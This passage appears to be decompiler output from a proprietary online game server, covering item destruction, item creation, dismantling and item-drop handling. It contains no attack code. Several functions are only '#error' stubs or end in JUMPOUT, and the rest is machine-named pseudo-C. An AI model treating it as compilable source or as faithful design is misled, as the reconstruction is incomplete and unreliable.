void *v5; // edi@1 int v6; // edx@1 int v7; // eax@1 __int16 v8; // si@1 int v9; // eax@2 char result; // al@2 int *uii; // [sp+8h] [bp-2Ch]@1 int v12; // [sp+Ch] [bp-28h]@1 int v13; // [sp+10h] [bp-24h]@1 int itemitertmp; // [sp+14h] [bp-20h]@1 int v15; // [sp+18h] [bp-1Ch]@1 int v16; // [sp+20h] [bp-14h]@1 int v17; // [sp+24h] [bp-10h]@1 int v18; // [sp+30h] [bp-4h]@1 v5 = this; itemitertmp = (int)&ItemBoxIterator::_vftable_; v15 = inv; v16 = (*(int (**)(void))(*(_DWORD *)inv + 8))(); itemitertmp = (int)&ItemBoxIterIdent::_vftable_; LOWORD(v17) = ItemID; v6 = *(_DWORD *)v5; v18 = 0; v7 = (*(int (__thiscall **)(void *))(v6 + 2004))(v5); v8 = InvenType; uii = &itemitertmp; v12 = v7; v13 = InvenType; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v9 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); ItemID = (((v8 << 10) | ItemID & 0x3FF) ^ *((_WORD *)uii + 4)) & 0x3FF ^ ((v8 << 10) | ItemID & 0x3FF); result = ShineObjectClass::ShinePlayer::sp_DestroyItem(v5, Handle, v9, (int)&ItemID); } else { result = 0; } return result; } // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (00504C30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, __int16 handle, __int16 itm, int lot, int lnkinf) { void *v5; // ebx@1 int v6; // eax@1 int v7; // edx@1 int v8; // eax@1 int v9; // esi@3 int v10; // eax@4 char *v11; // ebp@10 int v12; // eax@15 int v13; // esi@15 int v14; // edi@16 int v15; // eax@17 int v16; // edx@17 int v17; // ecx@17 bool v18; // zf@17 int v19; // esi@20 void *v20; // esi@20 int v21; // eax@20 char v22; // al@20 int v23; // edx@20 int v24; // ecx@20 __int16 v25; // ax@20 int v26; // esi@21 int v27; // eax@22 int v28; // esi@24 ZoneBaseSession *v29; // eax@28 char *v30; // [sp+18h] [bp-C8h]@2 ITEM_INVEN inv; // [sp+2Ch] [bp-B4h]@1 int cell; // [sp+30h] [bp-B0h]@15 int *uii; // [sp+34h] [bp-ACh]@1 int v34; // [sp+38h] [bp-A8h]@1 int v35; // [sp+3Ch] [bp-A4h]@1 char *bufferloc; // [sp+40h] [bp-A0h]@14 int v37; // [sp+44h] [bp-9Ch]@1 int itemitertmp; // [sp+48h] [bp-98h]@1 char *v39; // [sp+4Ch] [bp-94h]@1 int v40; // [sp+54h] [bp-8Ch]@1 __int16 v41; // [sp+58h] [bp-88h]@1 FunctionEntarance _; // [sp+5Ch] [bp-84h]@1 int iti; // [sp+60h] [bp-80h]@20 int v44; // [sp+64h] [bp-7Ch]@20 __int16 v45; // [sp+68h] [bp-78h]@20 __int16 v46; // [sp+CCh] [bp-14h]@20 char v47; // [sp+CEh] [bp-12h]@20 unsigned int v48; // [sp+D0h] [bp-10h]@1 int v49; // [sp+DCh] [bp-4h]@1 v48 = (unsigned int)&inv ^ __security_cookie; v5 = this; v37 = lnkinf; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_DestroyItemB"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DestroyItemB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DestroyItemB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; itemitertmp = (int)&ItemBoxIterator::_vftable_; v39 = (char *)v5 + 35680; v6 = *((_DWORD *)v5 + 8920); v49 = 0; v40 = (*(int (**)(void))(v6 + 8))(); itemitertmp = (int)&ItemBoxIterIdent::_vftable_; v41 = itm; v7 = *(_DWORD *)v5; LOBYTE(v49) = 1; v8 = (*(int (__thiscall **)(void *))(v7 + 2004))(v5); uii = &itemitertmp; v34 = v8; v35 = 9; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { itemitertmp = (int)&ItemBoxIterator::_vftable_; v30 = "ShineObjectClass::ShinePlayer::sp_DestroyItemB"; LABEL_13: --funcallanalizer.fca_stackpoint; v49 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v30); goto LABEL_30; } v9 = 0; do { v10 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); if ( !v10 ) break; v9 += (*(int (__stdcall **)(int))(**(_DWORD **)(v10 + 112) + 24))(v10 + 8); } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ); if ( lot <= 0 ) { lot = v9; } else { if ( lot > v9 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_DestroyItem : Try to delete too many lot", lot, v9); itemitertmp = (int)&ItemBoxIterator::_vftable_; LABEL_12: v30 = "ShineObjectClass::ShinePlayer::sp_DestroyItemB"; goto LABEL_13; } } v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13401; *((_WORD *)v11 + 1) = handle; *((_DWORD *)v11 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *((_WORD *)v11 + 4) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 2004))(v5) + 4); v11[10] = 0; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { itemitertmp = (int)&ItemBoxIterator::_vftable_; goto LABEL_12; } inv.Inven = inv.Inven & 0x3FF | 0x2400; bufferloc = 0; do { v12 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); v13 = v12; cell = v12; if ( !v12 ) break; v14 = (*(int (__stdcall **)(int))(**(_DWORD **)(v12 + 112) + 24))(v12 + 8); inv.Inven ^= (inv.Inven ^ *((_WORD *)uii + 4)) & 0x3FF; if ( v14 > lot ) { memcpy(&iti, (const void *)v13, 0x6Cu); v19 = v13 + 108; v46 = *(_WORD *)v19; v47 = *(_BYTE *)(v19 + 2); v20 = (void *)cell; (*(void (__stdcall **)(__int16 *, int))(**(_DWORD **)(cell + 112) + 28))(&v45, v14 - lot); v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 2004))(v5); LOWORD(v21) = *(_WORD *)(v21 + 4); (*(void (__thiscall **)(char *, int, void *, int *, ITEM_INVEN *, ITEM_INVEN *))(*((_DWORD *)v5 + 14470) + 56))( (char *)v5 + 57880, v21, v20, &iti, &inv, &inv); v22 = v11[10]; v11[10] = v22 | 0x80; *(_DWORD *)(v11 + 13) = iti; v23 = (int)&v11[8 * (v22 & 0x7F) + 25]; v24 = v44; *(_WORD *)(v11 + 21) = (_WORD)v11 + 8 * (v22 & 0x7F) + 25 - (_WORD)v11 - 2; v25 = v45; *(_DWORD *)(v11 + 17) = v24; *(_WORD *)(v11 + 23) = inv.Inven; *(_WORD *)(v11 + 11) = v25; bufferloc = (char *)(*(int (__stdcall **)(__int16 *, int))**((int (__stdcall ****)(_DWORD, _DWORD))v20 + 28))( &v45, v23); break; } v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); v16 = *((_DWORD *)v5 + 14470); LOWORD(cell) = *(_WORD *)(v15 + 4); (*(void (__thiscall **)(char *, int, int, ITEM_INVEN *, ITEM_INVEN *))(v16 + 48))( (char *)v5 + 57880, cell, v13, &inv, &inv); v17 = v11[10] & 0x7F; *(_DWORD *)&v11[8 * v17 + 25] = *(_DWORD *)v13; *(_DWORD *)&v11[8 * v17 + 29] = *(_DWORD *)(v13 + 4); v18 = lot == v14; v11[10] ^= (v11[10] ^ (v11[10] + 1)) & 0x7F; lot -= v14; } while ( !v18 && InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ); v26 = v37; if ( v37 ) { v27 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(char *, _DWORD, int))(*((_DWORD *)v5 + 14470) + 100))( (char *)v5 + 57880, *(_WORD *)(v27 + 4), v26); } if ( bufferloc ) v28 = bufferloc - v11; else v28 = 8 * (v11[10] & 0x7F) + 25; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v28) ) { v29 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v29); } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_63450C.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, v28); } ++*((_WORD *)v5 + 28942); --funcallanalizer.fca_stackpoint; itemitertmp = (int)&ItemBoxIterator::_vftable_; v49 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DestroyItemB"); LABEL_30: __security_check_cookie((unsigned int)&inv ^ v48); } // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (00505060) -------------------------------------------------------- #error "505060: undefined or illegal type '#593' (funcsize=58)" //----- (00505140) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_GetItemInvenLot(void *this, __int16 itemid) { void *v2; // esi@1 int v3; // edi@1 int v4; // ecx@1 int v5; // eax@2 int result; // eax@6 int v7; // eax@7 int ibii; // [sp+Ch] [bp-20h]@1 char *v9; // [sp+10h] [bp-1Ch]@1 int v10; // [sp+14h] [bp-18h]@4 int v11; // [sp+18h] [bp-14h]@4 __int16 v12; // [sp+1Ch] [bp-10h]@4 int v13; // [sp+28h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = (int)((char *)v2 + 35680); v13 = 0; ibii = (int)&ItemBoxIterator::_vftable_; v9 = (char *)v2 + 35680; if ( v2 == (void *)-142688 ) v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); else v5 = (*(int (__stdcall **)(char *))(*(_DWORD *)v4 + 4))((char *)v2 + 142688); v11 = v5; ibii = (int)&ItemBoxIterIdent::_vftable_; v12 = itemid; LOBYTE(v13) = 1; v10 = 0; if ( (unsigned __int8)ItemBoxIterIdent::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v7 = (**(int (__stdcall ***)(_DWORD))v9)(v10); if ( !v7 ) break; v3 += (*(int (__stdcall **)(int))(**(_DWORD **)(v7 + 112) + 24))(v7 + 8); } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"); result = v3; } else { --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemInvenLot"); result = 0; } return result; } // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (005052B0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::sp_QuestItemGet(unsigned __int16 itemid, int a2) { __int16 hnd; // [sp+14h] [bp-94h]@1 FunctionEntarance _; // [sp+24h] [bp-84h]@1 unsigned int v4; // [sp+98h] [bp-10h]@1 int v5; // [sp+A4h] [bp-4h]@1 v4 = (unsigned int)&hnd ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_QuestItemGet"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_QuestItemGet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_QuestItemGet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; ItemAttributeClassContainer::operator__(&itmattcontainer, itemid); JUMPOUT(*(int *)unk_505341); } // 505341: using guessed type int __stdcall(int itemid, int); //----- (005054A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, __int16 handle, int iti) { void *v3; // esi@1 int v4; // ecx@1 int v5; // eax@2 int v6; // edx@4 int v7; // eax@4 int v8; // eax@5 int *itemiter; // [sp+8h] [bp-28h]@4 int v10; // [sp+Ch] [bp-24h]@4 int v11; // [sp+10h] [bp-20h]@4 int itemitertmp; // [sp+14h] [bp-1Ch]@1 char *v13; // [sp+18h] [bp-18h]@1 int v14; // [sp+20h] [bp-10h]@4 int v15; // [sp+2Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int)((char *)v3 + 35680); v15 = 0; itemitertmp = (int)&ItemBoxIterator::_vftable_; v13 = (char *)v3 + 35680; if ( v3 == (void *)-142688 ) v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); else v5 = (*(int (__stdcall **)(char *))(*(_DWORD *)v4 + 4))((char *)v3 + 142688); v14 = v5; itemitertmp = (int)&ItemBoxIterEmpty::_vftable_; v6 = *(_DWORD *)v3; LOBYTE(v15) = 1; v7 = (*(int (__thiscall **)(void *))(v6 + 2004))(v3); itemiter = &itemitertmp; v10 = v7; v11 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&itemiter) ) { v8 = (**(int (__stdcall ***)(_DWORD))itemiter[1])(itemiter[2]); ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin(v3, 9, itemiter[2], iti, v8); } --funcallanalizer.fca_stackpoint; itemitertmp = (int)&ItemBoxIterator::_vftable_; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem"); } //----- (005055D0) -------------------------------------------------------- #error "5055D0: undefined or illegal type '#593' (funcsize=103)" //----- (00505740) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, __int16 handle, int method, unsigned __int16 itm, unsigned int lot) { void *v5; // ebx@1 int v6; // ST0C_4@1 CServerInfo::MY_SERVER *v7; // eax@1 ItemAttributeClass *v8; // edi@4 FunctionEntarance _; // [sp+10h] [bp-84h]@1 char iti; // [sp+14h] [bp-80h]@1 unsigned __int16 v11; // [sp+1Ch] [bp-78h]@1 unsigned int v12; // [sp+84h] [bp-10h]@1 int v13; // [sp+90h] [bp-4h]@1 v5 = this; v12 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MakeItem 2"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem 2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeItem 2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v6 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v7 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, itm, method, v7->nZoneNo, v6); v11 = itm; if ( ItemDataBox::operator__(&itemdatabox, itm) && ItemDataBox::operator__(&itemdatabox, itm)->data ) { v8 = ItemAttributeClassContainer::operator__(&itmattcontainer, itm); v8->vfptr->iac_itemcreate(v8, itm, (ItemTotalInformation *)&iti, (char *)&stru_63450C.maa_TargetSelect.aggresive); v8->vfptr->iac_SetLot(v8, (SHINE_ITEM_STRUCT *)&v11, lot); ShineObjectClass::ShinePlayer::sp_MakeItem(v5, handle, (int)&iti); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem 2"); } else { --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeItem 2"); } __security_check_cookie((unsigned int)&_ ^ v12); } //----- (005058B0) -------------------------------------------------------- #error "5058B0: undefined or illegal type '#734' (funcsize=66)" //----- (005059B0) -------------------------------------------------------- void __cdecl ItemDismantleProducer::_ItemDismantleProducer() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDismantleProducer::~ItemDismantleProducer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDismantleProducer::~ItemDismantleProducer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemDismantleProducer::~ItemDismantleProducer"); } //----- (005059F0) -------------------------------------------------------- signed __int16 __thiscall ItemDismantleProducer::idp_WhereDismantleProductStore(void *ecx0, char a2, int a3, char a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22, int a23, int a24, int a25, int a26, int a27, int a28, int a29, int a30, char a31) { void *v31; // esi@1 signed int v32; // ebx@1 unsigned __int16 v33; // dx@1 ItemDataBox::ItemDataBoxIndex *v34; // edx@1 FunctionProfiler::PerformanceRecorder *v35; // ecx@2 unsigned int v37; // eax@4 unsigned int v38; // ecx@4 signed int v39; // edx@4 int v40; // edi@4 int v41; // eax@10 int v42; // ecx@10 __int16 v43; // bx@10 int v44; // eax@11 int v45; // eax@13 int v46; // ebx@14 int v47; // eax@16 int v48; // edx@17 int j; // ecx@17 int v50; // ebx@24 int v51; // eax@25 int v52; // ecx@25 int v53; // eax@26 InventoryLocking::InventoryCellLock *v54; // eax@28 ItemBoxIterator *v55; // edx@29 int v56; // ecx@29 int k; // eax@29 int v58; // ST0C_4@35 CServerInfo::MY_SERVER *v59; // eax@35 void *v60; // ebx@35 char *v61; // [sp+2h] [bp-184h]@2 char isAlreadySettle; // [sp+1Dh] [bp-169h]@8 int nNowProductItemLot; // [sp+1Eh] [bp-168h]@8 signed int i; // [sp+22h] [bp-164h]@4 void *v65; // [sp+26h] [bp-160h]@1 unsigned int nProductCnt; // [sp+2Ah] [bp-15Ch]@4 unsigned int nMaxItemLot; // [sp+2Eh] [bp-158h]@4 int *uii; // [sp+32h] [bp-154h]@13 int v69; // [sp+36h] [bp-150h]@13 int v70; // [sp+3Ah] [bp-14Ch]@13 InventoryLocking::UnlockedInventoryIterator this; // [sp+3Eh] [bp-148h]@28 int UseSlotCheckCnt; // [sp+4Ah] [bp-13Ch]@23 int ibie; // [sp+4Eh] [bp-138h]@25 int v74; // [sp+52h] [bp-134h]@25 int v75; // [sp+5Ah] [bp-12Ch]@28 int ibii; // [sp+5Eh] [bp-128h]@10 int v77; // [sp+62h] [bp-124h]@10 int v78; // [sp+6Ah] [bp-11Ch]@13 int v79; // [sp+6Eh] [bp-118h]@13 FunctionEntarance _; // [sp+72h] [bp-114h]@1 int UseSlotCheck; // [sp+76h] [bp-110h]@4 char v82; // [sp+7Ah] [bp-10Ch]@4 int v83; // [sp+182h] [bp-4h]@1 int v84; // [sp+186h] [bp+0h]@23 void *v85; // [sp+18Ah] [bp+4h]@23 v31 = ecx0; v65 = ecx0; _.fe_FunctionCode = "ItemDismantleProducer::idp_WhereProductStore"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDismantleProducer::idp_WhereProductStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDismantleProducer::idp_WhereProductStore"; v32 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v33 = *((_WORD *)v31 + 4); v83 = 0; v34 = ItemDataBox::operator__(&itemdatabox, v33); if ( v34 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDismantleProducer::idp_WhereProductStore : Invalid Item", *((_WORD *)v31 + 4)); --funcallanalizer.fca_stackpoint; v83 = -1; v61 = "ItemDismantleProducer::idp_WhereProductStore"; v35 = &_PerformanceRecorder; goto LABEL_3; } UseSlotCheck = -1; memset(&v82, 0, 0xFCu); v37 = *((_DWORD *)v31 + 3); v38 = v34->data->MaxLot; v39 = 0; v40 = 0; nProductCnt = *((_DWORD *)v31 + 3); nMaxItemLot = v38; i = 0; if ( (signed int)v37 <= 0 ) goto LABEL_38; while ( 2 ) { if ( v39 >= 64 ) goto LABEL_38; isAlreadySettle = 0; nNowProductItemLot = v38; if ( !(v37 / v38) ) nNowProductItemLot = v37 % v38; LOWORD(v83) = nNowProductItemLot; v41 = *((_DWORD *)v31 + 2148); v42 = *((_DWORD *)v31 + 1); v43 = *((_WORD *)v31 + 4); ibii = (int)&ItemBoxIterator::_vftable_; v77 = v42; if ( v41 ) v44 = (*(int (__stdcall **)(int))(*(_DWORD *)v42 + 4))(v41); else v44 = (*(int (**)(void))(*(_DWORD *)v42 + 8))(); v78 = v44; ibii = (int)&ItemBoxIterIdent::_vftable_; LOWORD(v79) = v43; v45 = *(_DWORD *)v31; uii = &ibii; LOBYTE(v83) = 1; v69 = v45; v70 = 9; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) goto LABEL_24; while ( 1 ) { v46 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); if ( v46 != 0 ) break; AssertClass::ac_AssertFail(&shineassert, "ItemDismantleProducer::idp_WhereProductStore : Invalid cell", 0); LABEL_21: if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ) goto LABEL_24; } v47 = (*(int (__stdcall **)(int))(**(_DWORD **)(v46 + 112) + 24))(v46 + 8); if ( v47 + nNowProductItemLot > nMaxItemLot ) goto LABEL_21; v48 = uii[2]; for ( j = 0; j < v40; ++j ) { if ( *(&UseSlotCheck + j) == v48 ) break; } if ( j != v40 ) goto LABEL_21; *(&UseSlotCheck + v40) = v48; v84 = v46; UseSlotCheckCnt = v40 + 1; memcpy(&a2, (const void *)v46, 0x6Cu); LOWORD(a29) = *(_WORD *)(v46 + 108); BYTE2(a29) = *(_BYTE *)(v46 + 110); v85 = *(void **)(v46 + 112); (*(void (__thiscall **)(_DWORD, char *, int))(**(_DWORD **)(v46 + 112) + 28))( *(_DWORD *)(v46 + 112), &a4, nNowProductItemLot + v47); v40 = UseSlotCheckCnt; v31 = v65; a30 = uii[2]; a31 = 0; isAlreadySettle = 1; LABEL_24: v50 = (int)&ItemBoxIterator::_vftable_; LOBYTE(v83) = 0; ibii = (int)&ItemBoxIterator::_vftable_; if ( isAlreadySettle ) goto LABEL_43; v51 = *((_DWORD *)v31 + 2148); v52 = *((_DWORD *)v31 + 1); ibie = (int)&ItemBoxIterator::_vftable_; v74 = v52; if ( v51 ) v53 = (*(int (__stdcall **)(int))(*(_DWORD *)v52 + 4))(v51); else v53 = (*(int (**)(void))(*(_DWORD *)v52 + 8))(); v75 = v53; ibie = (int)&ItemBoxIterEmpty::_vftable_; v54 = *(InventoryLocking::InventoryCellLock **)v31; this.uii_Iterator = (ItemBoxIterator *)&ibie; LOBYTE(v83) = 2; this.uii_LockList = v54; this.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&this) ) { while ( 1 ) { v55 = this.uii_Iterator; v56 = this.uii_Iterator->ibi_finger; for ( k = 0; k < v40; ++k ) { if ( *(&UseSlotCheck + k) == v56 ) break; } if ( k == v40 ) break; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next(&this) ) goto LABEL_36; } *(&UseSlotCheck + v40++) = v56; v84 = (**(int (__stdcall ***)(_DWORD))v55->ibi_itembag)(v55->ibi_finger); v58 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v59 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&a2, *((_WORD *)v31 + 4), 8, v59->nZoneNo, v58); *(_WORD *)&a4 = *((_WORD *)v65 + 4); v60 = ItemAttributeClassContainer::operator__(&itmattcontainer, a4); (*(void (__thiscall **)(void *, char *, int))(*(_DWORD *)v60 + 28))(v60, &a4, nNowProductItemLot); v31 = v65; v85 = v60; a30 = this.uii_Iterator->ibi_finger; a31 = 1; isAlreadySettle = 1; v50 = (int)&ItemBoxIterator::_vftable_; } LABEL_36: LOBYTE(v83) = 0; ibie = v50; if ( isAlreadySettle ) { LABEL_43: ++i; v39 = i; v32 = -1; nProductCnt -= nNowProductItemLot; if ( (signed int)nProductCnt > 0 ) { v38 = nMaxItemLot; v37 = nProductCnt; continue; } LABEL_38: *((_DWORD *)v31 + 4) = v39; --funcallanalizer.fca_stackpoint; v61 = "ItemDismantleProducer::idp_WhereProductStore"; v83 = v32; v35 = &_PerformanceRecorder; if ( v39 > 0 ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemDismantleProducer::idp_WhereProductStore"); return 5760; } LABEL_3: FunctionProfiler::PerformanceRecorder::pr_Exit(v35, v61); return 5771; } break; } --funcallanalizer.fca_stackpoint; v83 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemDismantleProducer::idp_WhereProductStore"); return 5772; } // 63677C: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (00505E50) -------------------------------------------------------- #error "505E50: undefined or illegal type '#734' (funcsize=213)" //----- (00506110) -------------------------------------------------------- #error "506110: undefined or illegal type '#734' (funcsize=348)" //----- (00506630) -------------------------------------------------------- #error "506630: undefined or illegal type '#593' (funcsize=89)" //----- (00506780) -------------------------------------------------------- void __thiscall BriefInformationDropItem::bidi_InitBriefInfo(BriefInformationDropItem *this, unsigned __int16 handle, unsigned __int16 itemid, SHINE_XY_TYPE *loc, int rareness, unsigned __int16 dropmob) { PROTO_NC_BRIEFINFO_DROPEDITEM_CMD *v6; // edx@1 this->bidi_BriefInfo->handle = handle; this->bidi_BriefInfo->itemid = itemid; v6 = this->bidi_BriefInfo; v6->location.x = loc->x; v6->location.y = loc->y; this->bidi_BriefInfo->dropmobhandle = dropmob; this->bidi_BriefInfo->attr._bf0 ^= (rareness ^ this->bidi_BriefInfo->attr._bf0) & 7; this->bidi_BriefInfo->attr._bf0 &= 0xF7u; } //----- (005067E0) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_drpitm_CanLooting(int a1) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_drpitm_CanLooting", 0); return 0; } //----- (00506800) -------------------------------------------------------- #error "506800: undefined or illegal type '#734' (funcsize=102)" //----- (00506970) -------------------------------------------------------- #error "506970: undefined or illegal type '#734' (funcsize=218)" //----- (00506C60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ(void *this, signed int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // eax@5 int v6; // ebx@12 int v7; // eax@12 int v8; // ecx@15 int v9; // eax@20 int v10; // eax@34 int v11; // ST10_4@38 signed int v12; // eax@38 int v13; // eax@39 int v14; // edi@39 int v15; // edx@44 void *v16; // ecx@44 char v17; // al@45 __int16 v18; // ax@50 ITEM_INVEN v19; // dx@56 char v20; // al@56 signed int v21; // [sp+4h] [bp-30h]@25 signed int v22; // [sp+8h] [bp-2Ch]@4 signed int v23; // [sp+8h] [bp-2Ch]@9 void **v24; // [sp+8h] [bp-2Ch]@25 signed int v25; // [sp+8h] [bp-2Ch]@44 FunctionEntarance _; // [sp+1Ch] [bp-18h]@1 int inventory; // [sp+20h] [bp-14h]@15 int err; // [sp+24h] [bp-10h]@45 int v29; // [sp+30h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v29 = 0; if ( !(_S5_48 & 1) ) { _S5_48 |= 1u; cmc_72.cmc_AllowMode = 70; atexit(_E6_58); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_72.cmc_AllowMode) ) { v22 = 770; LABEL_62: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, v22); goto LABEL_63; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 151) ) { v22 = 782; goto LABEL_62; } if ( *((_WORD *)v4 + 34880) & 0xC 